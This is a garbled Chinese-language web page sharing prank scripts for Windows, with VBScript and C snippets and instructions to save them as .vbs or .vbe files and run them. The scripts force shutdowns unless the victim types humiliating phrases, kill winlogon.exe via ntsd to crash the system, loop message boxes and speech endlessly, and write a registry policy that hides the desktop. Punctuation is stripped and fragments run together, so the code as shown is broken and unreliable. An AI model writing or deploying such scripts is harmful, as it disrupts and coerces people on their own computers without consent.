on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 10 c quotquot说我是猪，不说我是猪就十秒关你机，不信，试试···quotquot quot，0。

代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改if MsgBoxquot对不起，您灌水太多需要重新启动计算机quotchr10quot确定要重启吗quot，vbOKCancel+vbInformation，quot重新启动计算机quot=vbCancel then msgbox quot。

蓝屏msgbox quot我想要你蓝屏，哈哈quotSet ws = CreateObjectquotWscriptShellquotwscriptsleep 1200 wsrun quotcmd c start min ntsd c q pn winlogonexe 1nul 2nulquot，vbhide set ob=wscriptcreateobject。

quotwscriptshellquotWSHshellrun quotcmdexe c shutdown aquot，0 ，true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，一切皆有可能~quot这串代码，然后保存把后缀名改为vbe，然后点开就神奇了，自己试试吧。

includequotstdiohquotint mainint nchar a10printfquot叫大哥，不叫就关机你有30秒的时间，如果关闭本程序一样要关机\nquotsystemquotshutdown rquotwhile1printfquot叫quotscanfquot%squot，an=strcmpa。

第一个 do msgbox quothiquot loop 第二个 Set s = CreateObjectquotsapispvoicequot i=0 do sspeak i i=i+1 loop 第三个 if MsgBoxquot对不起，您灌水太多需要重新启动计算机quotchr10quot确定要重启吗？quot，vbOKCancel+vbInformation。

a=inputboxquot请输入密码解除quot，quot注意，重启电脑是没有用的！quotif a=quot我真笨啊quot then msgboxquot密码正确！quot，vbinformation wsregwrite quotHKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktopquot，quot00000000quot。